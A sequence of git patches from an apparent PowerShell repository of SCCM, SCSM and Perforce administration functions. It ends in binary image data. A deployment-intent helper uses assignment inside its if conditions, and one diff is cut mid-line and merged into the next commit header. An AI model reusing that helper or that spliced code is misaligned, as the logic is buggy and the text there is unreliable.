TargetName='$ApplicationName'" + } + } } + $Deployments = Get-WmiObject @splatting -Query $Query + + Foreach ($Deploy in $Deployments) { @@ -143,7 +166,7 @@ DeploymentID = $Deploy.DeploymentID DeploymentName = $Deploy.DeploymentName DeploymentIntent = $deploy.DeploymentIntent - DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) TargetName = $Deploy.TargetName TargetSubName = $Deploy.TargetSubname @@ -151,8 +174,8 @@ # Output the current Object New-Object -TypeName PSObject -prop $Properties - } - } - } - } -} + } #Foreach ($Deploy in $Deployments) + } #Foreach ($Collection in $collections) + } #ForEach-Object { + } #PROCESS +} #function Get-SCCMUserCollectionDeployment \ No newline at end of file From e4d4fbb661eace7e4ee752e7a5797d12795f28b7 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 13 Feb 2016 16:47:51 -0500 Subject: [PATCH 046/561] Revert "Update SCCMUserCollectionDeployment function" This reverts commit 99b271dc69291633109f7c347a2c0ece24a96675. --- .../Get-SCCMUserCollectionDeployment.ps1 | 119 +++++++----------- 1 file changed, 48 insertions(+), 71 deletions(-) diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index 43eefceb..29931db7 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -2,80 +2,72 @@ { <# .SYNOPSIS - Function to retrieve an User's collection deployments + Function to retrieve a User's collection deployment .DESCRIPTION - Function to retrieve an User's collection deployments - The function will first retrieve all the collections where the user is member of and + Function to retrieve a User's collection deployment + The function will first retrieve all the collection where the user is member of and find deployments advertised on those. - + The final output will include user, collection and deployment information. .PARAMETER Username Specifies the SamAccountName of the user. - The user must be present in the SCCM database. + The user must be present in the SCCM CMDB .PARAMETER SiteCode Specifies the SCCM SiteCode .PARAMETER ComputerName - Specifies the SCCM Server to query (Most likely the Management Server) + Specifies the SCCM Server to query .PARAMETER Credential Specifies the credential to use to query the SCCM Server. - Default will take the current user credentials + Default will take the current user credentials .PARAMETER Purpose Specifies a specific deployment intent. - Possible value: Available or Required. - Default is Null (get all) - - .PARAMETER ApplicationName - Specifies the exact name of the application to return + Possible value: Available or Required. + Default is Null (get all) - .EXAMPLE - Get-SCCMUserCollectionDeployment -UserName francois-xavier.cat -SiteCode S01 -ComputerName SERVER01 -ApplicationName "Microsoft Visual C++ Redistributable 2005 x64" - - .EXAMPLE - Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required + .EXAMPLE + Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required .NOTES - Francois-Xavier cat - www.lazywinadmin.com + Francois-Xavier cat + www.lazywinadmin.com @lazywinadm - + SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx #> [CmdletBinding()] - [OutputType([System.Management.Automation.PSCustomObject])] - param + PARAM ( - [Parameter(Mandatory = $true)] + [Parameter(Mandatory)] [Alias('SamAccountName')] - [String]$UserName, + $UserName, - [Parameter(Mandatory = $true)] - [String]$SiteCode, + [Parameter(Mandatory)] + $SiteCode, - [Parameter(Mandatory = $true)] - [String]$ComputerName, + [Parameter(Mandatory)] + $ComputerName, - [System.Management.Automation.Credential()] [Alias('RunAs')] + [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty, [ValidateSet('Required', 'Available')] - [String]$Purpose, - - [String]$ApplicationName + $Purpose ) BEGIN { - # Verify if the username contains the domain name and remove it + # Verify if the username contains the domain name + # If it does... remove the domain name # Example: "FX\TestUser" will become "TestUser" if ($UserName -like '*\*') { $UserName = ($UserName -split '\\')[1] } @@ -85,7 +77,6 @@ NameSpace = "root\SMS\Site_$SiteCode" } - # Credential IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential @@ -98,20 +89,20 @@ default { $DeploymentIntent = "NA" } } - Function Get-SCCMDeploymentIntentName + Function Get-DeploymentIntentName { - PARAM ( - [Parameter(Mandatory)] - $DeploymentIntent - ) - PROCESS - { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS + { if ($DeploymentIntent = 0) { Write-Output "Required" } if ($DeploymentIntent = 2) { Write-Output "Available" } if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } } - } #Function Get-SCCMDeploymentIntentName - + }#Function Get-DeploymentIntentName + } PROCESS @@ -121,7 +112,7 @@ # Find the collections where the user is member of Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | - ForEach-Object -Process { + ForEach-Object { # Retrieve the collection of the user $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" @@ -130,29 +121,15 @@ # Retrieve the deployments (advertisement) of each collections Foreach ($Collection in $collections) { - - switch ($DeploymentIntent) + IF ($DeploymentIntent -eq 'NA') { - 'NA'{ - $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'" - if ($PSBoundParameters['ApplicationName']) - { - $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND TargetName='$ApplicationName'" - } - } - - default - { - $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'" - if ($PSBoundParameters['ApplicationName']) - { - $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent' AND TargetName='$ApplicationName'" - } - } + # Find the Deployment on one collection + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE + { + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") } - - $Deployments = Get-WmiObject @splatting -Query $Query - Foreach ($Deploy in $Deployments) { @@ -166,7 +143,7 @@ DeploymentID = $Deploy.DeploymentID DeploymentName = $Deploy.DeploymentName DeploymentIntent = $deploy.DeploymentIntent - DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) TargetName = $Deploy.TargetName TargetSubName = $Deploy.TargetSubname @@ -174,8 +151,8 @@ # Output the current Object New-Object -TypeName PSObject -prop $Properties - } #Foreach ($Deploy in $Deployments) - } #Foreach ($Collection in $collections) - } #ForEach-Object { - } #PROCESS -} #function Get-SCCMUserCollectionDeployment \ No newline at end of file + } + } + } + } +} From c0e6cae44991da3025fcb4aab4e2c76c5ea1dffc Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:14:19 -0500 Subject: [PATCH 047/561] Add some Perforce functions --- .../Check-PerforceUserExist.ps1 | 19 +++++++ .../Connect-PerforceServer.ps1 | 51 +++++++++++++++++++ .../New-PerforceUser.ps1 | 16 ++++++ .../New-PerforceUserTemplate.ps1 | 42 +++++++++++++++ 4 files changed, 128 insertions(+) create mode 100644 PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 create mode 100644 PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 create mode 100644 PERFORCE-New-PerforceUser/New-PerforceUser.ps1 create mode 100644 PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 diff --git a/PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 b/PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 new file mode 100644 index 00000000..78a12ea7 --- /dev/null +++ b/PERFORCE-Check-PerforceUserExist/Check-PerforceUserExist.ps1 @@ -0,0 +1,19 @@ +Function Check-PerforceUserExist +{ + PARAM ($UserName) + PROCESS + { + $CheckAccount = p4 users $UserName + if ($CheckAccount -like "*accessed*") + { + $CheckAccount = $CheckAccount -split '\s' + + $Properties = @{ + "UserName" = $CheckAccount[0] + "Email" = $CheckAccount[1] -replace "<|>", "" + "PerforceAccount" = $CheckAccount[2] -replace "\(|\)", "" + } + New-Object -TypeName PSObject -Property $Properties + } #IF + } +} \ No newline at end of file diff --git a/PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 b/PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 new file mode 100644 index 00000000..3dbe1456 --- /dev/null +++ b/PERFORCE-Connect-PerforceServer/Connect-PerforceServer.ps1 @@ -0,0 +1,51 @@ +function Connect-PerforceServer +{ +<# +.SYNOPSIS + Connect to a Perforce Server +.DESCRIPTION + Connect to a Perforce Server +#> + [CmdletBinding()] + PARAM ( + [Parameter(Mandatory = $True)] + $Server, + + [Parameter(Mandatory = $True)] + $Port, + + [Parameter(Mandatory = $True)] + $UserName, + + [Parameter(Mandatory = $True)] + $Password + ) + BEGIN + { + #Check if p4.exe is present + } + PROCESS + { + TRY + { + IF (Test-Connection -ComputerName $Server -Count 1 -Quiet -ErrorAction SilentlyContinue) + { + # Set the Environment Variables + $env:p4port = "$($Server):$($Port)" + $env:p4user = $UserName + + # Connect to p4 as Admin + # The environment variables previously set will be used by p4 + $Password | p4 login + } + ELSE + { + Write-Warning -Message "[PROCESS] Can't ping to $Server on port: $port" + } + } + CATCH + { + Write-Warning -Message "[PROCESS] Issue while connecting to perforce server: $Server on port: $port" + } + } +} diff --git a/PERFORCE-New-PerforceUser/New-PerforceUser.ps1 b/PERFORCE-New-PerforceUser/New-PerforceUser.ps1 new file mode 100644 index 00000000..e86606bf --- /dev/null +++ b/PERFORCE-New-PerforceUser/New-PerforceUser.ps1 @@ -0,0 +1,16 @@ +function New-PerforceUser +{ +<# +.SYNOPSIS + Create a user in perforce based on tmp file which contains the User, Email and FullName +.DESCRIPTION + Create a user in perforce based on tmp file which contains the User, Email and FullName +#> + [CmdletBinding()] + PARAM ($UserTemplate) + PROCESS + { + # Create perforce user based on template + Get-Content $UserTemplate | p4 user -f -i + } +} \ No newline at end of file diff --git a/PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 b/PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 new file mode 100644 index 00000000..18c24599 --- /dev/null +++ b/PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 @@ -0,0 +1,42 @@ +function New-PerforceUserTemplate +{ +<# +.SYNOPSIS + Create a tmp file which contains the User, Email and FullName +.DESCRIPTION + Create a tmp file which contains the User, Email and FullName +#> + [CmdletBinding()] + PARAM ( + [Parameter(Mandatory = $True)] + $UserName, + + [Parameter(Mandatory = $True)] + $EmailAddress, + + [Parameter(Mandatory = $True)] + $FullName, + + $TempDirectory = "c:\" + ) + PROCESS + { + # Create Temp file + $p4TemplateFile = join-path -path $TempDirectory -childpath "NewPerforceUser_$($UserName)_$(Get-Date -Format 'yyyyMMdd_HHmmss').tmp" + + # Define user information + $tempp4NewUserName = "User:" + $UserName + $tempp4NewUserEmail = "email:" + $EmailAddress + $tempp4NewUserFullName = "fullname:" + $FullName + + # Add the information to a template file + $tempp4NewUserName | Out-File -FilePath $p4TemplateFile | Out-Null + $tempp4NewUserEmail | Out-File -FilePath $p4TemplateFile -Append | Out-Null + $tempp4NewUserFullName | Out-File -FilePath $p4TemplateFile -Append | Out-Null + } + END + { + #Output FilePath + Write-Output $p4TemplateFile + } +} \ No newline at end of file From 542d6c32bfe7645911719d31af722b17287a6fbe Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:15:20 -0500 Subject: [PATCH 048/561] Add Remove-SCCMUserDeviceAffinity --- .../Remove-SCCMUserDeviceAffinity.ps1 | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 diff --git a/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 new file mode 100644 index 00000000..ff3bcb7a --- /dev/null +++ b/SCCM-Remove-SCCMUserDeviceAffinity/Remove-SCCMUserDeviceAffinity.ps1 @@ -0,0 +1,92 @@ +function Remove-SCCMUserDeviceAffinity +{ +<# + .SYNOPSIS + Function to remove the primary user(s) or group(s) from a device in SCCM + + .DESCRIPTION + Function to remove the primary user(s) or group(s) from a device in SCCM + + .PARAMETER SiteCode + Specifies the SCCM Site Code + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the Resource Name on which the Primary Users need to be removed + + .PARAMETER DeviceID + Specifies the Resource ID on which the Primary Users need to be removed + + .PARAMETER Credential + Specifies alternative credentials to use + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm +#> + + [CmdletBinding(DefaultParameterSetName = 'ResourceName')] + param + ( + [Parameter(ParameterSetName = 'ResourceName')] + [Parameter(ParameterSetName = 'ResourceID')] + $SiteCode, + + [Parameter(ParameterSetName = 'ResourceName', + Mandatory = $true)] + [Parameter(ParameterSetName = 'ResourceID')] + $SiteServer, + + [Parameter(ParameterSetName = 'ResourceName')] + [Alias('Name', 'ResourceName')] + $DeviceName, + + [Parameter(ParameterSetName = 'ResourceID')] + [Alias('ResourceID')] + $DeviceID, + + [Parameter(ParameterSetName = 'ResourceName')] + [Parameter(ParameterSetName = 'ResourceID')] + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $CIMsessionSplatting = @{ + ComputerName = $SiteServer + } + + + # Credential Specified + IF ($PSBoundParameters['Credential']) + { + $CIMsessionSplatting.Credential = $Credential + } + + # Create a CIM session + $CIMSession = New-CimSession @CIMsessionSplatting + + # Splatting for CIM cmlets + $CIMSplatting = @{ + CimSession = $CIMSession + NameSpace = "root\sms\site_$SiteCode" + ClassName = "SMS_UserMachineRelationship" + } + + # Device Name Specified + IF ($PSBoundParameters['DeviceName']) + { + $CIMSplatting.Filter = "ResourceName='$DeviceName' AND isActive=1 AND TYPES NOT NULL" + } + + # Device ID Specified + IF ($PSBoundParameters['DeviceID']) + { + $CIMSplatting.Filter = "ResourceID='$DeviceID' AND isActive=1 AND TYPES NOT NULL" + } + + Get-CimInstance @CIMSplatting | Remove-CimInstance +} \ No newline at end of file From 6832676e82f02f8a6b2f2425e7f3805069a0e23d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:15:44 -0500 Subject: [PATCH 049/561] Add Get-SCSMWorkItemCreatedByUser --- .../Get-SCSMWorkItemCreatedByUser.ps1 | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 diff --git a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 new file mode 100644 index 00000000..0399ad74 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 @@ -0,0 +1,78 @@ +function Get-SCSMWorkItemCreatedByUser +{ +<# + .SYNOPSIS + Function to retrieve the Created By User of a Work Item + + .DESCRIPTION + Function to retrieve the Created By User of a Work Item + + .PARAMETER SMObject + Specifies the SMObject(s) on which the Created By need to be retrieve. + + .PARAMETER Guid + Specifies the GUID of the SMObject on which the Created By need to be retrieve. + + .EXAMPLE + Get-SCSMWorkItemCreatedByUser -SMObject $SR,IR + + .EXAMPLE + $SR,IR | Get-SCSMWorkItemCreatedByUser + + .EXAMPLE + Get-SCSMWorkItemCreatedByUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + + .NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com +#> + + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) + + BEGIN + { + Import-Module -Name SMLets -ErrorAction Stop + + # CreatedByUser RelationshipClass + $RelationshipClass_CreatedByUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemCreatedByUser + + + } + PROCESS + { + IF ($PSBoundParameters['GUID']) + { + foreach ($Item in $GUID) + { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_CreatedByUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } + + IF ($PSBoundParameters['SMobject']) + { + foreach ($Item in $SMObject) + { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_CreatedByUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } +} \ No newline at end of file From ebac8640729f2a4786412943a03969645a6546d6 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:18:20 -0500 Subject: [PATCH 050/561] Correct typo --- .../Get-SCCMDeviceCollectionDeployment.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index 5cad1b3d..a10383e7 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -143,7 +143,7 @@ # Prepare output $Properties = @{ - UserName = $DeviceName + DeviceName = $DeviceName ComputerName = $ComputerName CollectionName = $Deploy.CollectionName CollectionID = $Deploy.CollectionID From cec2484eee2811dbe2eb94a8fb38b9bdc1f59f75 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:19:32 -0500 Subject: [PATCH 051/561] Rename function and examples --- .../Get-SCSMWorkItemRequestOffering.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 index b0f08425..e0668c6c 100644 --- a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 @@ -1,4 +1,4 @@ -function Get-SCSMWorkItemRelatedRequestOffering +function Get-SCSMWorkItemRequestOffering { <# .SYNOPSIS @@ -10,15 +10,15 @@ .EXAMPLE $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" - Get-SCSMWorkItemRelatedRequestOffering -SMObject $SR + Get-SCSMWorkItemRequestOffering -SMObject $SR .EXAMPLE - Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" | Get-SCSMWorkItemRelatedRequestOffering + Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" | Get-SCSMWorkItemRequestOffering .EXAMPLE $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" $IR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.IncidentRequest$) -Filter "ID -eq 'IR99000'" - Get-SCSMWorkItemRelatedRequestOffering -SMObject $SR,IR + Get-SCSMWorkItemRequestOffering -SMObject $SR,IR .NOTES Francois-Xavier Cat From 8d5a6bf8e1cb269707ea1dabb41e3d4284782bcb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:20:10 -0500 Subject: [PATCH 052/561] Add Get-SCSMUserManager --- .../Get-SCSMUserManager.ps1 | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 diff --git a/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 new file mode 100644 index 00000000..50d2e048 --- /dev/null +++ b/SCSM-Get-SCSMUserManager/Get-SCSMUserManager.ps1 @@ -0,0 +1,42 @@ +Function Get-SCSMUserManager +{ + Param ( + $input_affectedUser_id + ) + + ## Return Variables + $managerOfAffectedUser_obj = $null + + ## MAIN + $affectedUser_obj = get-scsmobject -id $input_affectedUser_id + $userManagesUser_relclass_id = '4a807c65-6a1f-15b2-bdf3-e967e58c254a' + $managerOfAffectedUser_relobjs = Get-SCSMRelationshipObject -ByTarget $affectedUser_obj | where{ $_.relationshipId -eq $userManagesUser_relclass_id } + + ## Check if Manager User Exists and that the relationship is current. + ## get-scsmrelationshipobject tends to keep track of relationship history. It returns old and new + ## relationships + + If ($managerOfAffectedUser_relobjs -ne $null) + { + ForEach ($managerOfAffectedUser_relobj in $managerOfAffectedUser_relobjs) + { + If ($managerOfAffectedUser_relobj.IsDeleted -eq $True) + { + #The relationship no longer exists. Returning nothing + # which will effectively keep the managerOfAffectedUser_obj the same as before. + } + Else + { + #The relationship exists, setting managerOfAffectedUser_relExists to true. + $managerOfAffectedUser_id = $managerofaffecteduser_relobj.SourceObject.Id.Guid + $managerOfAffectedUser_obj = get-scsmobject -id $managerofaffecteduser_id + } + } + } + Else + { + #No Affected User Exists + $managerOfAffectedUser_obj = $null + } + $managerOfAffectedUser_obj +} \ No newline at end of file From d1c59c0b4e8d6b22135d54b4858ccf52de37c86b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:20:52 -0500 Subject: [PATCH 053/561] Add Get-SCSMWorkItemChildItem --- .../Get-SCSMWorkItemChildItem.ps1 | 31 +++++++++++++++++++ .../Get-SCSMWorkItemChildItemRA.ps1 | 10 ++++++ 2 files changed, 41 insertions(+) create mode 100644 SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 create mode 100644 SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 new file mode 100644 index 00000000..81a6b49c --- /dev/null +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItem.ps1 @@ -0,0 +1,31 @@ +Function Get-SCSMWorkItemChildItem +{ + param ( + [Parameter(Mandatory = $True)] + $inputPWI_guid + ) + ### Variables to Return + $childWIs_obj = @() + + ### MAIN + $inputPWI_obj = get-scsmobject -id $inputPWI_guid + $containsActivity_relclass_id = '2da498be-0485-b2b2-d520-6ebd1698e61b' + $childWIs_relobj_filter = "RelationshipId -eq '$containsActivity_relclass_id'" + $childWIs_relobj = Get-SCSMRelationshipObject -BySource $inputPWI_obj | where{ $_.RelationshipId -eq $containsActivity_relclass_id } + ForEach ($childWI_relobj in $childWIs_relobj) + { + if ($childWI_relobj.IsDeleted -ne 'false') + { + + $childWI_id = $childWI_relobj.TargetObject.id.guid + $childWI_obj = get-scsmobject -id $childWI_id + #filter for DynamicReviewerActivity + If ($childWI_obj.ClassName -eq 'System.WorkItem.Activity.ReviewActivity' -AND $childWI_obj.Title -match 'DynamicReviewerActivity') + { + $childWIs_obj += $childWI_obj + } + } + } + ### RETURN DATA + $childWIs_obj +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 new file mode 100644 index 00000000..eb945b10 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemChildItem/Get-SCSMWorkItemChildItemRA.ps1 @@ -0,0 +1,10 @@ +# Get the review activity +$childWI_ReviewerActivityHasReviewers_Class_id = '6e05d202-38a4-812e-34b8-b11642001a80' +$childWI_ReviewerActivityHasReviewers_Class_obj = Get-SCSMRelationshipClass -id $childWI_ReviewerActivityHasReviewers_Class_id + + +# Get the reviewer +$childWI_ReviewerisUser_Class_id = '90da7d7c-948b-e16e-f39a-f6e3d1ffc921' +$childWI_ReviewerisUser_Class_obj = Get-SCSMRelationshipClass -id $childWI_ReviewerisUser_Class_id + +$childWI_reviewers = Get-SCSMRelatedObject -SMObject $childWI_obj -Relationship $childWI_ReviewerActivityHasReviewers_Class_obj \ No newline at end of file From b926d275acbc457a54e970eeb80093c1aa4a5048 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 14 Feb 2016 22:21:27 -0500 Subject: [PATCH 054/561] Add Get-SCSMWorkItemUserInput --- .../Get-SCSMWorkItemUserInput.ps1 | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 diff --git a/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 new file mode 100644 index 00000000..a975b4f8 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 @@ -0,0 +1,79 @@ +function Get-SCSMWorkItemUserInput +{ + <# + .NOTES + Initial version from http://itblog.no/4462 + + Output PSOBject instead of array + #> + [CmdletBinding()] + Param ( + $WorkItemObject + ) + BEGIN + { + #Declare Vars + $userInput = "" + $ListArray = @() + } + PROCESS + { + $UserInput = $WorkItemObject.UserInput + $nl = [Environment]::NewLine + $content = [XML]$UserInput + $inputs = $content.UserInputs.UserInput + foreach ($input in $inputs) + { + if ($($input.Answer) -like " Date: Mon, 15 Feb 2016 23:37:03 -0500 Subject: [PATCH 055/561] Get-SCSMWorkItemParent Screenshots --- .../Get-SCSMWorkItemParent01.jpg | Bin 0 -> 86503 bytes .../Get-SCSMWorkItemParent02.jpg | Bin 0 -> 106861 bytes .../Get-SCSMWorkItemParent03.jpg | Bin 0 -> 101953 bytes 3 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg create mode 100644 SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg create mode 100644 SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent03.jpg diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent01.jpg new file mode 100644 index 0000000000000000000000000000000000000000..96e83e04eac060bba5382d5c0e7acc826bbc92ac GIT binary patch literal 86503 zcmeFZ2UJu0x-S~U-cSJrK~U)+AV{x@QUZ$rp-Eq&lz^cZsj(NjAps3dN{G}5qyQnH zD7{H&5(pqwO6Z+HUR-OPv)9^tpS#a_D3%1{re z2Vi48eq}uX%sqhMFS<8wU9@ny>+a=!-`fr1;(rn7byw!1m7L5~IRJA2@Dy<1z=6XD z4j(^s==kv?M~)mnah!FW_#Yf>2M!-Tdg$oS8=N?P^nY~e@1Mf_!j=U9upMCg?Ew67 zubUdGneFU z9ON{+bLg@!m;9sGnTLgRNgEpd@DB(K3Vsk0`sC@e=PzEqih?I1kV(mJ-lDRybI`e% z_j&oHWjH*6SYAB0KlS_Q*!aZc)Q{@_;OyBe{`5j=XGYurz1kwz>D0@ew|0p z3M+gUS^7!!Z$$t1Xny?vis=8O`9Dc!egvF8%(kEXAUhk2`qOOer`ecPz;Sjq)(iI2 z0ByijmGt6{NuNTacd>A}jmV1fe)rng(#qopU&ZV4Hfc-|x#_00Iz=koiEytSMJS&` zRs5SeS8ks*wBFH^aufJ&Y@zwIFfk(T$sV^Jk_piCVgeS*Yc|^gBJ?ssB4!zJf^-ii zpv7c9nF$aTT+CO%Zp{WW0TFdfK)w5Rtk&{Q-`1gZJZu89VZ;O^a%@_jw`Q!7n1Je0 zCSXkAkGnkCv8`F|+Ceh`O)nUdu~K`XG$vr!7q*1b$~LL0Ufa8|TjaC_*`+W6=gjpU)4Ms0in6CkZ!>BM*gt9?(YnJOCI-8jbt@Mg~_?6fR6 zjSEtHn1G}Vn(W>$+TSf8PAk0&dpprgKuqV_`G|=P>@vsSF(cz&GQ;HmHf9+8zE;M| 